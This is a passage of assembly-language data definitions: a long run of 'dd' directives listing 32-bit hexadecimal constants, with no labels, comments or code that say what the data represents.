dd 0F801A9FBh, 45F804C7h, 3B4300F8h, 0C372145Dh, 39A62AEBh
dd 0C47DAC56h, 2A2A3389h, 74127B1Ch, 2F64570Ch, 7F54B1AEh
dd 59F456C2h, 64049177h, 0BF74073Bh, 0C8584410h, 8B425494h
dd 35FE20A2h, 0BAF4A53Eh, 882F1B0h, 0A1C40858h, 0F8109432h
dd 5B770C7Bh, 50E4F74h, 0ACF40EAh, 1F314808h, 3F22D032h
dd 0C13A035h, 0C6850F57h, 0D42F6849h, 8A2E90A1h, 0AEBCF4CEh
dd 0C894420Ah, 0B705980h, 4B5821h, 28747CE1h, 7C8242Dh
dd 0E1A9798h, 75610DE5h, 5C406878h, 30AE1C26h, 2EA0F820h
dd 20367EEBh, 42777E07h, 0B9700AA8h, 0E06FAEC5h, 2D277430h
dd 0CC17DDADh, 15844852h, 0E0B06CCh, 0C4326875h, 0D44C1D24h
dd 453F0734h, 3E141821h, 0F9F309Fh, 0A1CA2D37h, 0F69D2B2Eh
dd 0A1F5917h, 0A5CA5725h, 0A06AE029h, 441A1DA1h, 13070FAFh
dd 0C476CC8h, 52248E4h, 0F482CC3h, 0B9B52FDCh, 17A7B887h
dd 18D8B077h, 3E568107h, 89ACDA24h, 29F8E884h, 0BE6B8C6Eh
dd 53E32FE5h, 9B7BF82Fh, 2792D52Fh, 0E45E1012h, 30FCE88Ah
dd 0B7593CC8h, 9A5C1002h, 25A11221h, 0C8AB6A13h, 53BEF4FEh
dd 0ECBE1461h, 994CF47Ch, 0AE3AA227h, 29383270h, 5130D08Dh
dd 0BC13E2EFh, 2917E6DDh, 0A1D468C7h, 8B84FAE3h, 0E77BBC6h
dd 6AC0E8BBh, 84FC9D28h, 5F23C8E5h, 0E23E5A02h, 9FF24B13h
dd 0B9C6D24Eh, 31302919h, 786EB70Ch, 4D830602h, 5DEB02F8h
dd 56FDAD23h, 9D87EC8Ch, 0F06ED3ECh, 0B448F892h, 29096B65h
dd 629AF654h, 0E47D496Ah, 105D9513h, 4ABD8D59h, 880AFCD4h
dd 0ABF383D0h, 0B36288B9h, 11FCB026h, 4112DAACh, 0DDA5BF86h
dd 0C87E4457h, 0F862B318h, 13A711B8h, 3CEFA46Ah, 0FFE5341h
dd 0CB7E0481h, 4AC8767Dh, 6F6A775h, 64DC765h, 503B2128h
dd 0FF4E4F44h, 23E40824h, 8126AE4Ah, 0E67FF81Ch, 2D343060h
dd 0C78C3D8Bh, 0E7FFBB49h, 82B30A1Fh, 60741845h, 40FCFF82h
dd 5D727542h, 0D630FF2Dh, 8C15E283h, 128D985Fh, 42CCB83h
dd 0A08C9B0Eh, 0DD4D7243h, 0DC8D03BAh, 5AD8B5FFh, 0D77EA447h
dd 0FC999B9Eh, 4C2C3AEh, 0F26B896Ah, 0B29B7E93h, 2A2F2352h
dd 0CACC31D6h, 8B8A2614h, 5A0C1232h, 65432896h, 83DC6008h
dd 0A0E11C7Dh, 20A4CF91h, 5B76244Dh, 0F97143B8h, 4262F023h
dd 2F08B8A4h, 0E938E48h, 211789FFh, 1D1209C5h, 0AC0E88ADh
dd 0EC6804FAh, 0A4B4F9A3h, 0B66A140Fh, 148AF2CAh, 0A12A4493h
dd 0ACF82F8Dh, 0EE62AFA4h, 0B2304E33h, 0B932A571h, 1025D9B5h
dd 0D61213DDh, 2B996953h, 0C4FAED9h, 4D8B4966h, 145718C9h
dd 5753008h, 0D5EBD616h, 0D23F499Dh, 25FCC6Bh, 5413F6BDh
dd 0A4411CB0h, 0D38AB37Eh, 0ABD228FCh, 8CF83C38h, 0F5F92CD7h
dd 68B5D2A7h, 0CA239C7Dh, 4718F032h, 67DF1B56h, 0C45F254Fh
dd 0C08A8A6Fh, 8AA41C0Bh, 0A3F8F660h, 41624FEFh, 0B4600A5Fh
dd 923E3329h, 0EF5DEC83h, 0ABFDAD45h, 0CEF41C1h, 5360126Fh
dd 9650AD59h, 1632F4B2h, 11455626h, 33DF099Eh, 0F7EB442Ch
dd 0E00D34CAh, 188D670h, 35FF50ABh, 5A693C4Ch, 0E37B60BAh
dd 0BC4A58A1h, 0D59983C4h, 3BE493Fh, 0A134EA50h, 0D282860h
dd 0D5AF8754h, 0B2FF6132h, 7D524A2Bh, 27B6F871h, 555C6BB0h
dd 626E6E55h, 6D8F4709h, 4E995377h, 7F250208h, 2F42E512h
dd 27121547h, 49C0CBFAh, 0CABA4A4Ch, 0A46013CFh, 57EB6E3Ch
dd 0ED5B1C17h, 33CF5AE5h, 5BDEBA4Ah, 57FC698h, 87A18CA5h
dd 30CC0C93h, 0A08FA4BEh, 9164BB2Dh, 55F42D02h, 20364DADh
dd 1CA1FBDBh, 0BF722F16h, 27DC5853h, 11F5D394h, 9EE5E9Bh
dd 90FD2BB3h, 0A9543569h, 740C901Dh, 17CB0D58h, 0C3F503F8h
dd 0EC2E99F1h, 8B6A9585h, 640AAC9Dh, 0F1105A76h, 0A540054h
dd 40315474h, 0F072C83Bh, 7D42B13Ch, 4AEDF4B3h, 4818FCC1h
dd 70ECE27Eh, 0A66D7410h, 30536417h, 89DC5098h, 0D218D5D5h
dd 40497490h, 0AFEB0493h, 3A94C868h, 0FC2B1F39h, 75FAB5A0h
dd 68133154h, 8A295AA0h, 68472857h, 0A6FE234Ah, 3782155h
dd 0F6176AABh, 0F34816FFh, 46E8C4D6h, 0C53F423Dh, 45F1C029h
dd 8B5B09E4h, 34D2083Dh, 0C7F25054h, 550C1EC9h, 6EF05299h
dd 0B4EC33E0h, 4CFD2CB7h, 698B985Ah, 38DB4857h, 811117A1h
dd 0D025EE4Ah, 0C4691DE8h, 73D77C19h, 66EE4A59h, 669D4CABh
dd 0CED45B86h, 6B8C21EBh, 0F0BDAD44h, 0A23BE9E1h, 6C83342h
dd 36557FCCh, 8C78C7Dh, 0CC812F9Ah, 34BF3EBBh, 0AACA24DAh
dd 9FB852B0h, 75428876h, 475C5DBCh, 0A9FA08E4h, 930109A1h
dd 5FAC2961h, 9ED2C24Ch, 0A3D8C681h, 166BB222h, 4F600B05h
dd 3613D408h, 84E3B23h, 4C640C1Fh, 68057442h, 0B801EBE3h
dd 9F647DF2h, 564CA794h, 2C257F2Eh, 5012EA5h, 0EAC7BAA3h
dd 57DC4D22h, 682524F9h, 5B288F22h, 0FF49BFE9h, 5C552251h
dd 45957A0h, 87A5404Bh, 7537C434h, 0E8A7AE27h, 10FC8811h
dd 13A4A4F8h, 0D139FE11h, 0E5D8F83Eh, 0A641B3FAh, 0F547AA40h
dd 56BF4358h, 7431D447h, 0C6939F07h, 96B0886Bh, 29ADEA6Bh
dd 1CC5F5B2h, 9021462h, 392FCC72h, 6118CA3Dh, 99AA1912h
dd 2FBE65C3h, 1FC70B80h, 62578127h, 98DE91E0h, 1CCC5444h
dd 66530275h, 4392A0A1h, 0E7FDCCDFh, 17DAD462h, 58163143h
dd 8CAFA7ECh, 2EAA08EDh, 0C8227F78h, 6B0577A7h, 4A760FA8h
dd 0C8F9592Dh, 0B9C08827h, 1913EB0Ah, 0A7786841h, 0A4B5EC2Fh
dd 7517EABCh, 0EC74921Ah, 0B75EB374h, 5B57956Ah, 0DEF949DAh
dd 0F8568020h, 0F747CBACh, 665E71Bh, 99646432h, 3CB364FAh
dd 238C28A0h, 1A70A6F4h
dd 0A6B82A68h, 0B4884225h, 63D4A73Bh, 0C197DC22h, 531262F0h
dd 6B10525Dh, 0E4D506ECh, 0F5EAE99Ah, 6E277ADBh, 8D574F39h
dd 68D07F37h, 0BE7874F0h, 0BE7161E2h, 2A7C3150h, 81C428FCh
dd 51141AB8h, 9D6415D6h, 0DF5A3888h, 0A387E53Ch, 8C6F873h
dd 0FE811859h, 9972CB70h, 961337B2h, 67198B82h, 5E6B5B74h
dd 7F80D1D4h, 0D07B3E50h, 8366B700h, 24FE477Ch, 64752859h
dd 0A580160Fh, 4D0EB650h, 23934706h, 0A5E80814h, 9A56BF7Ch
dd 275FDE6Ah, 5CF89E62h, 8276FC0Ch, 9FF85533h, 0FC429E32h
dd 0BE8828F9h, 896221FEh, 3E9CA5C0h, 0B1545B4Ch, 141EA590h
dd 0AF755719h, 0F129EF5Ah, 274C23Eh, 75DB3322h, 5644C1DCh
dd 0C515C082h, 2E536424h, 5351E423h, 0A940C40Bh, 0FEBC2433h
dd 2437306Dh, 4756E0C8h, 0F9E0215Dh, 53C80BE0h, 210A43F9h
dd 22784B53h, 0E4889C87h, 78AC67A8h, 212098DCh, 0E0E4A870h
dd 0E5A30E69h, 20726013h, 0CD57245Ch, 9D896AEBh, 2D7BED6Fh
dd 9321EE53h, 71509461h, 0A2F0288Eh, 0D51CF757h, 4CFA7385h
dd 406043F0h, 715A98CCh, 0FC0BFFF3h, 9FE241B3h, 0E72C657h
dd 3C01E083h, 0A6309354h, 41FB801Dh, 0FEE566BFh, 56F324BEh
dd 987A20ACh, 0A6A2BB7h, 0E01CB378h, 8D1C2E22h, 0E65F3E14h
dd 3F805E2h, 0F1B6375h, 0F0BCA56Bh, 0D11011F4h, 942E33F9h
dd 0FE05AFE8h, 816DD1C3h, 0A44185AEh, 0F8E43253h, 26A27C39h
dd 90584A5Fh, 190A8FA5h, 0A6576153h, 0F592AD1Ah, 54FDDC77h
dd 247CF707h, 59798B04h, 0FC289280h, 0B4FEE544h, 3B04595Ch
dd 0BA870FC6h, 27B7B3BFh, 0B16053D8h, 93C76647h, 5191021Eh
dd 0A23BF098h, 55DC2D05h, 506A7730h, 0D97CFE97h, 9FE96BDAh
dd 491A6DA3h, 75964D8Dh, 0D15F43E2h, 2D57669Eh, 2003681Ch
dd 7BCA5B5h, 0D3ACB85Ah, 0D4494FA8h, 0D1B2B95Ah, 0C7FEC1ADh
dd 5EFB2404h, 0D1B81451h, 0AC8EF229h, 562133A5h, 0A90C5DFDh
dd 0EA6883BBh, 7F450323h, 0BA4B3F4Ch, 428E5EF0h, 745CA964h
dd 99128EBh, 0F5A0B809h, 0F6576E42h, 746C5BDDh, 0C824606Ah
dd 0FF27F0ECh, 0DB8574A3h, 76080E0Ch, 0BDF4223Dh, 3EB7C90h
dd 9852F6B7h, 0C82BFAF0h, 73CB3B13h, 22F46AC2h, 5975C603h
dd 0C074E71Dh, 29085D01h, 3B5764D9h, 0CD32836Eh, 9F2B9620h
dd 0D8846145h, 3AEF40Dh, 855D98Ah, 81F01DC9h, 9EE0DF13h
dd 0E8F90575h, 0F8665FCBh, 0B3AFE5DBh, 0F08E991Fh, 0DD593D4Ch
dd 0C9D8147Dh, 6FF1846Fh, 5E74B10Ch, 0F38AC59Bh, 0A53F43CFh
dd 4AEBEFF4h, 6C1122DEh, 6A969FF1h, 0FC118CFCh, 0C40E6003h
dd 8843AB94h, 218684C8h, 0D08878CCh, 58D46268h, 8648D818h
dd 8838DC21h, 946228E0h, 898181Ch, 0F89C1086h, 0E8A084AAh
dd 0CDCA431h, 10C843A8h, 0B0CFB8ACh, 98B4C4F0h, 0C88B831h
dd 107443BCh, 0E4C464C0h, 0B51E3450h, 0EE2468Dh, 0E118A21h
dd 75118F0h, 0F80C0CF4h, 9195A9E2h, 5A709AC5h, 0C4852874h
dd 0CD1E5109h, 1269DD44h, 0F656D33Fh, 5520FEAh, 301C8D05h
dd 0EBFEBD1h, 2A9DE5Eh, 0C6AD802h, 0D9428B1h, 0F88B208Ah
dd 3A0FD212h, 3834C1B1h, 0F712EED1h, 563CEE2Ah, 0B6E42128h
dd 128D7420h, 0CC43A21h, 0CF91E908h, 4D41C826h, 311F3E26h
dd 2DB0C3D7h, 995F5402h, 902E9804h, 644F7933h, 43C113C9h
dd 89F7D233h, 0BD315150h, 82A8BC2Bh, 0D4A99868h, 629479B0h
dd 0B92BE6D7h, 30C46207h, 0E1BDFA46h, 0AE2A5738h, 0CCEBF474h
dd 8018BBC8h, 8B1D0151h, 10BF1BF3h, 0EFB8200Eh, 8DA13C6Ah
dd 5AC73B2Bh, 0F6F7C1A1h, 339EF2F9h, 5DF50BC6h, 0DFFDF50Dh
dd 1D500837h, 5EBE0EFCh, 32311FA0h, 5455F345h, 0EE3264D6h
dd 0EE2A1C39h, 8B2F7C29h, 90944E0Bh, 0E566BDAAh, 7C6C0349h
dd 1439E757h, 0A28425B5h, 945CBDAAh, 5E4B7403h, 46311FF7h
dd 2A41EB18h, 0BF5765BAh, 9734FAA0h, 2C7B66CEh, 3D421A52h
dd 3A21A305h, 5839E034h, 0EB035242h, 2310B46h, 3B5E079Fh
dd 74A9D024h, 0F42400Eh, 68318A1Ch, 0FA8B43FFh, 0C099EA95h
dd 0C32B2289h, 0D71B4900h, 504A5256h, 35DAF5E8h, 0D777A980h
dd 3B3B0472h, 34D137DEh, 57576422h, 8B352066h, 164916CAh
dd 589800F0h, 0B725B77h, 50FE8305h, 4B6ADD03h, 22CE247Eh
dd 2210F477h, 21424647h, 2337113Bh, 882B1032h, 88219126h
dd 481E441Bh, 210BC419h, 0C62A730Ah, 2B0020D1h, 3D11BC6h
dd 0B7D713C3h, 0E8448C79h, 0AAC325FBh, 0E43F9F8Dh, 5795FC87h
dd 9BFCA493h, 0DB331455h, 533824F3h, 9D395260h, 2640843Ch
dd 7698644h, 0A4715567h, 24C1020h, 0D9A82C83h, 1924FC63h
dd 2C70EB29h, 3260233Ch, 11202509h, 65431955h, 1C252145h
dd 505BD239h, 5BA6336Ch, 8182C81h, 1548C29h, 46841412h
dd 21023117h, 974297E8h, 0C7D8474h, 2F2D7538h, 42267E38h
dd 6CF72774h, 18DDEF8Ch, 0C4BDAC3Bh, 9296BBCh, 8F332814h
dd 5FA1A9FCh, 3F6A2B23h, 0A485C1C7h, 0FFFC6EFDh, 8131A6CFh
dd 4CB8C4A1h, 565FFA62h, 91BEC26h, 0F74D8D0Dh, 3B277D28h
dd 47E19FF3h, 0A4F76B0Ch, 4DD7F889h, 0BF64B711h, 99C03049h
dd 2784AC8Ch, 16DDFC1Ch, 0FB182295h, 6475DB97h, 466A44ECh
dd 2780F7C3h, 2EDD535Dh, 99EED37Ah, 319A0471h, 144BCC1Ch
dd 8C0C1708h, 0C8DC206Ah, 0EFB779B5h, 336D79B4h, 49E92E44h
dd 224E6642h, 0D975B10Bh, 0B11816B4h, 6EA62B4Dh, 29F81884h
dd 9831D4EBh, 881144F9h, 85969D90h, 2AC2013h, 793ECB2h
dd 7364EAF5h, 425EF7BBh, 4F6A46D6h, 0BEEA24BAh, 6CA8987h
dd 38C83C10h, 39327D4Ah, 21F62B98h, 11EFD412h, 0BD1BB5D8h
dd 218EE1BAh, 0AD23D046h, 0D99EF331h, 4A682960h, 0B7D516A4h
dd 0CDAB4B41h, 5005E22Dh, 0DC5BB2FAh, 0BE561420h, 0B85A0680h
dd 0CEBBD250h, 0CC3D12EAh, 750D905Ch, 1C092842h, 4583252Eh
dd 0B2B8A81Dh, 161329B7h, 0ACF86804h, 0F6CDC6F2h, 0B2D8E242h
dd 9DACF021h, 0CBA3E2ECh, 0E8BE18D0h, 0D9950AA4h, 6D7464E6h
dd 10241672h, 0F674590Eh, 0C15E4413h, 1C4587ACh, 5C2D18F7h
dd 43FA145Dh, 0FCA41165h, 9314EC93h, 902B93FBh, 775709E4h
dd 587D111Ah, 2AF441B1h, 0ADD88246h, 0D0D49FB0h, 0F5FE38C2h
dd 0E838814h, 0F2A72DECh, 0F995E479h, 3C6AC512h, 5FB89602h
dd 0A02E6557h, 7D89340Fh, 0F4F4BB06h, 63FC55A8h, 690D8F1h
dd 74461E0h, 59C18FBCh, 3652184Dh, 840F18E0h, 41EFDD4Bh
dd 1576CCE3h, 986CA3FFh, 73841234h, 0A039F8AFh, 7AB70FD8h
dd 0CD1EA375h, 52129B66h, 0E0CA1ED4h, 0A7D63A1Ah, 2DDC1265h
dd 0FD13EA1Ah, 5712AF66h, 53381AE4h, 6A0A2ED2h, 4E515003h
dd 4A74EFF2h, 0FA719DBFh, 0F37D98D7h, 0F25D4D74h, 2866F825h
dd 0EE935797h, 32FE29BDh, 73AC2F2Dh, 74FC0715h, 1103FD3Ch
dd 7DB958D3h, 0ADBC84A2h, 74082B4Bh, 69241907h, 64D707FAh
dd 580F5ED9h, 7CE359F4h, 0AD3810A3h, 84F008CEh, 9D3CFAA4h
dd 0D6FE2C2Dh, 0FAA4C214h, 0A7583011h, 0BF27B1A8h, 1ED7A425h
dd 85FAFC7Dh, 0DC254024h, 30FCE58Bh, 0FE28B509h, 54FBD49Fh
dd 0C4C85648h, 13E1DCBEh, 2905126Ah, 0CBD3ADEh, 0FBCCBC12h
dd 724BA9A3h, 0B15F101Fh, 872C144Fh, 62BDE418h, 0F45C7D8Dh
dd 0B1DC2ADAh, 82A4A534h, 0C2BA1056h, 0D1D7FEC2h, 17A51956h
dd 4B9C02FAh, 0C13D5D9h, 100BA8BCh, 66C0F633h, 0A7D68485h
dd 0A54B63BCh, 100A20A7h
dd 0C62B2FC0h, 0F4481974h, 0EF565A64h, 0F3AFB325h, 219F7ECEh
dd 14EBFCE0h, 0FACA164Ah, 0AB53C40Eh, 0E8D796B9h, 5CB95B1Fh
dd 3B42F424h, 23B2BEF2h, 9E22A12Fh, 0BB112950h, 40D7DC6Bh
dd 3897E79h, 4876EB5Bh, 0EC2A1C74h, 79858A70h, 8D3317E6h
dd 96A8C97Ch, 248EFE7Eh, 1521CFB1h, 16B765A5h, 2445B688h
dd 7D42F2F4h, 0D4364EC8h, 0F02A4C02h, 0FB66FE12h, 65674EEEh
dd 48EC15D8h, 0E845F015h, 20EC0B4Ah, 0F4450BA2h, 71365C45h
dd 94EA6208h, 0F9D7C6A8h, 33E841CEh, 0D3EC6BFFh, 6F5007E1h
dd 82D746A9h, 5BDDB8DAh, 66BCE4D4h, 0BFBA5973h, 1029FE4Eh
dd 0C4684C6Fh, 0C0956A45h, 9DFF78C7h, 1048D85Bh, 0A73E324Dh
dd 8EE45451h, 0F078A745h, 8B139E8Ch, 24E2C749h, 5186F3Ah
dd 4FEB6E06h, 2ABBB562h, 7EE829FFh, 926CB5D8h, 0CF564B5Ah
dd 2E532489h, 0EB4C41CBh, 0C83FB06Eh, 3A4632A5h, 0BE32852Dh
dd 5F01C342h, 7403D083h, 20829D29h, 0CB545CA7h, 74E13A23h
dd 0AC6F530Eh, 497CA65Dh, 0EA22E5B7h, 8B53F86h, 5D310D3Dh
dd 0AC7E5BA5h, 2DE3910Fh, 576E2BBFh, 6A702CC4h, 2FD11DA6h
dd 25E6512h, 922F123Dh, 4FC4BF31h, 51D0FE9Dh, 0A9022E3Dh
dd 8180BE0Fh, 0E0685015h, 0BC5FB222h, 0C603258Eh, 5317D040h
dd 7DE31CB3h, 5CC98472h, 3DEE5757h, 58C37226h, 68C575A1h
dd 4A585AFEh, 6A2819A9h, 0E22C7919h, 0A754F10h, 7D0BFE7h
dd 7DF4E4AFh, 6BBC0C21h, 90C83452h, 4BDFC269h, 58E6878Dh
dd 16378A0Dh, 4DFF0723h, 0E9E675FCh, 56B73596h, 784B76CEh
dd 0D0D9DEAh, 2D2B28D6h, 4C1D7F78h, 40B17D2Dh, 564D0B28h
dd 0B37A0845h, 3CC34FBh, 1228ACABh, 0BAA4C1F7h, 8A140B74h
dd 0D5D44101h, 830F4014h, 4805F175h, 0CA50500Dh, 7FE71FFh
dd 83D0037Eh, 0C23383F0h, 0A904C1A8h, 81E2C4B8h, 8BE87406h
dd 7459FC41h, 0BEE45C32h, 0CDC9A92Ah, 0BF0F137Ch, 0EB020310h
dd 0FD418DCDh, 0C12B5603h, 0FE1421C3h, 0FC2CFD64h, 0B4DC958Eh
dd 0CF835786h, 0C460F5Ch, 0A89740A8h, 3D3A8F4Eh, 2334A5BCh
dd 0B42BD404h, 0D38411A8h, 0DD10EEC5h, 44122708h, 57D3322h
dd 64E6EB61h, 0BFE51C5Eh, 87B1A87Eh, 9DE6683h, 0EF88D59h
dd 0E835C56Fh, 8B76DAF4h, 5A17E102h, 4ED39D60h, 166E884Dh
dd 17D753A0h, 256A596Fh, 361F3674h, 9C24212h, 754FE83Ah
dd 5F469F26h, 23A0FC74h, 66A972E4h, 92F6EA74h, 439E7449h
dd 2716C9E4h, 0C5F90FEBh, 9FA4351Ah, 0B555C655h, 7C9D296Ch
dd 0F0C8522h, 0BEE7C5AFh, 0CF89D11Eh, 0B9B87485h, 0FD4A4DBDh
dd 0C7AB85D9h, 66148802h, 3EDE8EF7h, 0BD3C74DBh, 7C7EC0BCh
dd 0AC76EEBh, 0F6711009h, 1C325034h, 45D9752Ah, 0C83B2307h
dd 272F991h, 7657F742h, 20BD60E4h, 8737D29h, 0AA047E3Ch
dd 330823Eh, 0EBFCD2DFh, 4D3B044Bh, 0ED2E7214h, 0C1127E05h
dd 6AA10974h, 0FE12C0B5h, 4C536B82h, 0BCE92125h, 2297E3A0h
dd 80293732h, 0EBD803D9h, 0E6D8A418h, 225D3E3h, 388288Eh
dd 0AD4387A7h, 0BA8B14F4h, 7D8577E4h, 17508276h, 83871091h
dd 0EB930C4Eh, 200D2404h, 2BB8334Eh, 0FABE7E68h, 90E8E514h
dd 0FDEC452Ch, 0D266280Eh, 0DFF411FBh, 9A7D4176h, 792AF6DCh
dd 8989A813h, 75227B15h, 7A02B899h, 0D9FF98D3h, 87ECE0FEh
dd 3A69E1D3h, 0B25E86D4h, 97CC5ED2h, 0A035313Bh, 2D4C775Bh
dd 36215F00h, 0C24C20DFh, 0B6365275h, 0EE6BDA17h, 912D1B88h
dd 0FC43055Dh, 57EDC548h, 24CBAC1Eh, 0F56E1D57h, 7CAB6B4Dh
dd 2FD26AE5h, 1E28DAEBh, 18959243h, 0E60FC614h, 0B7F048E6h
dd 0A02D50F2h, 5E219F92h, 4F41557Ah, 93CD51C8h, 0A3144718h
dd 0B421EA9Fh, 4A3DD047h, 7538A0A2h, 3AD0971Dh, 3B31BE45h
dd 5FEBAF08h, 1AC3F2B2h, 9A02FF0Ah, 25458A09h, 2A652C69h
dd 0A90B9212h, 14857709h, 240876F6h, 12BDAC54h, 1F725E10h
dd 95C5D5D5h, 0D0EDFC17h, 0A48A1392h, 29910C36h, 0D6DD9C10h
dd 73B700CEh, 0C1FE8B58h, 2A04EF24h, 9E93872Ah, 7F3AA739h
dd 54975E4h, 32EB0842h, 0EE58957h, 0B60F3538h, 2BF80358h
dd 0ABB5E504h, 3B743674h, 3134D985h, 54FB9216h, 43E828ADh
dd 0EB7842A5h, 0F31D9114h, 0FEFCB010h, 0C5402157h, 251BD4EFh
dd 672F04F2h, 11B9333Eh, 6B272314h, 160F92F4h, 0D106945h
dd 7EC275B1h, 37231C66h, 6F493DEDh, 0EAD7504Bh, 4041AC5h
dd 1D90CD28h, 0BF406AC3h, 84522274h, 5593828Fh, 9CBC6DC3h
dd 988C3EBDh, 0BC75CAEh, 844FFB48h, 228A0DB0h, 0F311DE27h
dd 39166140h, 7442C544h, 22143410h, 0C304DE75h, 0BD63E1CDh
dd 15895B58h, 363FC4B9h, 0B4B6BB2h, 12860BC1h, 55B7435Ah
dd 8DD09C81h, 6AF09170h, 1F77C2C8h, 0F7864ADFh, 0FECC8287h
dd 1357281Ch, 7A0DEB1Eh, 0CCA065B7h, 548B0161h, 40D0C845h
dd 5074D285h, 0D68A8C47h, 0AA8212C5h, 7204FD00h, 0EED9F72Dh
dd 0DA0360E1h, 788D12Bh, 75494702h, 0FFC88BFAh, 0F3262F9h
dd 83CA2110h, 0E90C80E2h, 0F3067402h, 0B277DDABh, 7F2C4A49h
dd 0DC3655Fh, 0B9617604h, 60570C27h, 7B567A4Ah, 0E4D95453h
dd 0C6F72514h, 0D3760EABh, 8337D6ACh, 21EB6F50h, 4606288Ah
dd 25742564h, 21290285h, 0A0EB7520h, 2AB01E5Ch, 0D84E350h
dd 3DC121A4h, 0F3754B2Fh, 5B10BF86h, 0F725CE5Eh, 126691C7h
dd 34AE3B45h, 75122147h, 6C3B48EEh, 0FA5E33D9h, 99656A3h
dd 4CDC1789h, 59AFC832h, 68B097Fh, 30F3816Ch, 8396C60Ah
dd 8784DEC2h, 0F6472CC8h, 0C2F71E81h, 0C8A812Ch, 9A652C08h
dd 0F5C074C6h, 0B8F3E281h, 0E156426h, 497215Ch, 5154D311h
dd 0AAC9B36h, 8207E20Ah, 0AEF87560h, 0A485AAB1h, 0BF555350h
dd 6F9053C6h, 43D09418h, 0B00F7ECCh, 6A072D03h, 0EDCF225Fh
dd 803158B5h, 490D8B0Fh, 8A02C288h, 0E0834104h, 30CDD44h
dd 2CD2EB47h, 0C931ED37h, 58EEEF42h, 282BEEC4h, 2B100475h
dd 1744DB33h, 46A5E80Ch, 0A10B1441h, 3A70883Dh, 8D7A0D44h
dd 5C149B73h, 631D046h, 0FD83CFEBh, 75C30486h, 0F8D8F702h
dd 77719218h, 9D30CEB0h, 0AE2C17A1h, 2DFD043h, 6817D0FFh
dd 29C29028h, 0DF65D14h, 0FA4CB243h, 100F8E10h, 78EF8DA4h
dd 0C4ED495Ch, 2326B3B1h, 0A44B1BF5h, 3D2C399Ch, 758C0234h
dd 9D083311h, 0FC161965h, 0FE0B8294h, 368DF0Ch, 3D308914h
dd 1D884730h, 3C29A02Ch, 0D3BC3EA1h, 0C6EEACCBh, 15B80Dh
dd 0FC718D56h, 1372F03Bh, 98AC06FCh, 28EE832Eh, 2233514h
dd 685EED73h, 2C959134h, 0F1F7410Ah, 38114240h, 14D6B01Ch
dd 7B10755Bh, 0A7878929h, 5F642CD4h, 3B2A11F3h, 0D732BABh
dd 2DEEA858h, 5AD3EDEBh, 9DFD52A5h, 0E00FD6F1h, 44E9568Dh
dd 0F19A4227h, 1C5AACD7h, 4852BAE4h, 0EF85AA7Fh, 34AA23Fh
dd 78F08BE4h, 0E0642F08h, 5D98C0F0h, 69F34BD6h, 0FC2AEE1Ah
dd 24AA14F5h, 0A85810A3h, 6906805Eh, 98FD7BC0h, 38057D8Dh
dd 1655269Eh, 2589B07Bh, 2CBE9EDBh, 82624C50h, 118A5653h
dd 729202C4h, 7126697Ah, 4F9F7501h, 1435F7D9h, 3E4607F4h
dd 15A6D038h, 0D40B9EEAh, 0A200B06h, 96F5752Eh, 27505F17h
dd 18F02C11h, 0FF7E8D07h, 0D00261A2h, 22286828h, 38873CCEh
dd 93C475E0h, 653B0341h, 0FF668618h, 0F423C183h, 0B1EB36DFh
dd 8A256B60h, 0B93180C2h, 6C478D96h, 0C7F41BFFh, 0ADFA0DD0h
dd 0FA0C1495h, 3FE41AD9h
dd 620A85h, 0CBF99D10h, 5471BA75h, 74B22513h, 378F15Fh
dd 7B802172h, 1B753AD8h, 0B4BD49Ch, 72B55F6h, 29FBF623h
dd 6680A91Fh, 9A433878h, 44F90AEBh, 82B3DBF2h, 0A0D4BAD5h
dd 0FFBEAF81h, 1D088A4Ch, 268A6574h, 0F6D101C6h, 20D28182h
dd 48C004D0h, 801AEB40h, 672F78F9h, 0D45C0A0Fh, 752E020Ah
dd 0ECA05D0Bh, 1488D06h, 0C4B4DF0h, 0CF8B54F8h, 734A3943h
dd 7E2A680Bh, 1F02BB36h, 0FE3BFB2Bh, 2DE96A58h, 7B102ADEh
dd 638576B5h, 0EF840724h, 82441EE2h, 8510114Dh, 242131C9h
dd 7781FC7Dh, 72FB3B4Ch, 460F6848h, 0EF14C83Fh, 187DF110h
dd 2B446189h, 73626155h, 672F4EA5h, 58E1574Ah, 43BD3E24h
dd 1446227Ah, 0C32B1714h, 2053CA22h, 18882B7Bh, 3C94ADFDh
dd 3D510180h, 8D93CEB4h, 14722645h, 0C56842EEh, 11872D12h
dd 80189A85h, 0C82BEC73h, 1ADDC48Bh, 82A8E11Dh, 50044012h
dd 0F814CF34h, 6905D67Dh, 8DD17FFBh, 0B32036EBh, 13565B0Ch
dd 4E124204h, 0E3847804h, 148800Eh, 0EBEC8941h, 0B932075Ah
dd 4ACCD259h, 0EB1C1216h, 5705EB0Ch, 80D91275h, 0BB795227h
dd 3F3BE5A4h, 0F1AE087Dh, 0B1EB176Ah, 0E1FB293Ch, 23099DB5h
dd 530C163Dh, 405AA4E9h, 1F8A08A9h, 8190778Dh, 0DFC7F982h
dd 99A5C391h, 0DF2BACDCh, 1EE80559h, 0D0EB0646h, 6D2DFB80h
dd 0FC23EE5h, 1C050614h, 31162B6Dh, 0A35D27A5h, 8C8C0F7Bh
dd 0FC445352h, 2409443Bh, 7A448FF2h, 5939C76Ah, 305EDC75h
dd 0EE87745Ah, 100E0AD7h, 0B05322Ch, 0F88E783Ch, 9013588Ah
dd 8F1F8908h, 6392C12h, 53176E75h, 902012AAh, 0ADA07F04h
dd 4671015Eh, 0FFC82D84h, 0BF10E9A1h, 0F8A9A703h, 81BD8EE4h
dd 5B29F3A6h, 0BE8E20BDh, 0E934CB7Ah, 0EC28E230h, 2B57560Bh
dd 588B66C6h, 57C72332h, 48FF0B4Ah, 5FB3FBCBh, 3784A459h
dd 738D3B50h, 0EEF1364Ah, 8E87EE15h, 0D884F474h, 842912C4h
dd 9176CAFCh, 6942C05h, 1CAF0F09h, 89F1031Ah, 262C7D4Ch
dd 18498A06h, 72B61FFCh, 0C4F13875h, 1A0C55D8h, 4008C1F6h
dd 0FABF695Ah, 82FC48BAh, 2A4DEB86h, 0A6B8042Eh, 3A1C7543h
dd 3E840114h, 8102E183h, 0B17D8106h, 77800234h, 75D860E6h
dd 45393E2Ch, 0F6277689h, 0C701B780h, 8497EC05h, 70FE228Dh
dd 11EBFF84h, 6080B5CCh, 1BD90EF6h, 383F7C9h, 286689C8h
dd 0F4F905BBh, 9061DA02h, 0F7F8F168h, 8FD4D868h, 36E051BCh
dd 0AD023FA9h, 6A233038h, 0DA1F9901h, 1774467Fh, 0EC427088h
dd 0D5AAE4BDh, 0A5BF7F8h, 0F9597FFCh, 0CB1374A5h, 0FC89C4FBh
